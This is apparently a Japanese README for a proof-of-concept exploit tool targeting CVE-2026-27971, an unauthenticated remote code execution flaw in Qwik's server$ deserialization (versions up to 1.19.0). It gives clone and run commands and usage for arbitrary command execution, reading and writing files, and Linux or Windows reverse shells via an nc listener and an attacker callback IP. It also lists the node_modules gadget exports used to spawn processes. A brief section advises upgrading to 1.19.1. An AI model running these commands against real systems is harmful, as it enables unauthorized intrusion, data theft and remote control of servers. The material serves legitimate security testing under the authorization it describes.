
CVE-2026-27971 qwik rce
server$ 未認証RCE PoC[!WARNING] このリポジトリには、アクティブなリモートコード実行の概念実証が含まれています。自分が所有するシステム、または明示的にテストする許可を得ているシステムに対してのみ使用してください。作者は、許可されていない使用や損害について一切の責任を負いません。
CVE-2026-27971 / GHSA-p9x5-jp3h-96mm のスタンドアロンPython概念実証です。これは、Qwik server$ RPC デシリアライゼーション機構における未認証のリモートコード実行脆弱性です。
このPoCは、アクティブなマーカープローブの実行、コマンドの実行、テキストファイルの読み書き、LinuxまたはWindowsターゲットへのリバースシェルの要求を行うことができます。Python標準ライブラリのみを使用します。
| フィールド | 値 |
|---|---|
| 製品 | Qwik — npm パッケージ @builder.io/qwik |
| 影響を受けるバージョン | <= 1.19.0 |
| 修正バージョン | 1.19.1 |
| 脆弱性 | 安全でない server$ デシリアライゼーションによる未認証のリモートコード実行 |
| ランタイム条件 | ランタイムで require() が利用可能であること |
| CWE | CWE-502 — 信頼できないデータのデシリアライゼーション |
| 深刻度 | クリティカル — CVSS 4.0: 9.2 |
| ベクター | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
細工された application/qwik-json リクエストは、サーバーサイドのモジュールとエクスポートされたシンボルを参照できます。脆弱なQwikバージョンは、ランタイムの require() を介して未登録のQRLを解決し、認証なしでそれを呼び出す可能性があります。このPoCは、ターゲットの node_modules に既に存在する互換性のあるプロセス実行エクスポートに到達しようとします。
オペレーター側:
server$ / Qwik JSON リクエストを処理する正確なQwikルートへのネットワークアクセス。ターゲット側:
@builder.io/qwik <= 1.19.0 を使用する脆弱なQwikデプロイメント。require() が利用可能なランタイム。node_modules 内でアクセス可能な互換性のあるガジェットモジュールとエクスポート。PATH で node が利用可能であること。サードパーティのPythonパッケージは必要ありません。
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
リクエストを送信せずに組み込みガジェットを一覧表示:
python3 exploit_combat.py --list-gadgets
アクティブなマーカープローブを実行し、すべての組み込みガジェットを試行:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probeは受動的なバージョン検出ではありません。リモートコード実行を試み、ターゲットプロセスからマーカーを出力することで確認します。
コマンドを実行:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
UTF-8 テキストファイルを読み取る:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
UTF-8 テキストファイルを書き込んで検証:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
永続的なリスナーを開始した後にリバースシェルを要求:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
自動OS検出が適切でない場合にWindowsリバースシェルペイロードを強制:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
スクリプトはリスナーを起動しません。--callback の事前チェックは、シェルペイロードを送信する前に別のTCP接続を開いて閉じるため、複数の接続を受け入れられるリスナーを使用してください。
| オプション | 説明 |
|---|---|
-t URL, --target URL | 正確なターゲットURL。デフォルト: http://localhost:3000。ルートは自動的に検出されません。 |
--probe | マーカーペイロードをアクティブに実行し、OS検出を試みます。 |
-c CMD, --CMD CMD | Node.js child_process.execSync() を介してコマンドを実行します。 |
--read PATH | fs.readFileSync() を使用してUTF-8テキストファイルを読み取ります。 |
--write PATH --content TEXT | テキストファイルを書き込み、読み戻して結果を比較します。親ディレクトリは作成されません。 |
--list-gadgets | 組み込みガジェット名を出力し、ネットワークリクエストなしで終了します。 |
--lhost IP | リバースシェルモードを有効にし、コールバックアドレスを設定します。 |
--lport PORT | コールバックポートを設定します。デフォルト: 4444。 |
--rev-all | 最初に受け入れられたHTTPリクエスト後に停止する代わりに、すべてのリバースシェルバリアントを送信します。 |
--callback | リバースシェルペイロードを送信する前に、発信TCP到達可能性をテストします。 |
--OS {auto,linux,windows} | リバースシェルペイロードファミリーを選択します。デフォルト: auto。 |
--gadget SPEC | auto、組み込み名、またはカスタム <module>#<symbol> を使用します。デフォルト: cross-spawn.sync。 |
--arg-style {argv,command,shell} | カスタム <module>#<symbol> ガジェットの引数スタイル。 |
--timeout SECONDS | クライアント側HTTPタイムアウト。デフォルト: 30。 |
--verify-ssl | TLS証明書とホスト名の検証を有効にします。デフォルトでは検証は無効です。 |
アクションモードはパーサーで相互に排他的ではありません。1回の呼び出しで --probe、--CMD、--read、--write、--lhost のうち1つを使用してください。
| 名前 | モジュールとエクスポート | スタイル |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto は、リストされた順序でこれらのガジェットをテストします。カスタムガジェットは次のように指定できます:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync であり、自動検出ではありません。ターゲットの依存関係レイアウトが不明な場合は --gadget auto を使用してください。--read はUTF-8を想定しており、--write はバイナリデータを対象としていません。--rev-all はターゲット上で複数のプロセスまたはコールバックを開始する可能性があります。隔離されたラボでのみ使用してください。@builder.io/qwik を 1.19.1 以降にアップグレードし、ロックファイルを更新し、アプリケーションを再ビルドし、すべてのサーバーアーティファクトを再デプロイします。互換性のあるガジェットを削除するだけでは、基礎となるQwik脆弱性に対する完全な修正にはなりません。
このプロジェクトは、セキュリティ研究、防御的検証、および許可されたテストのために提供されています。明示的な許可なくシステムに対して使用しないでください。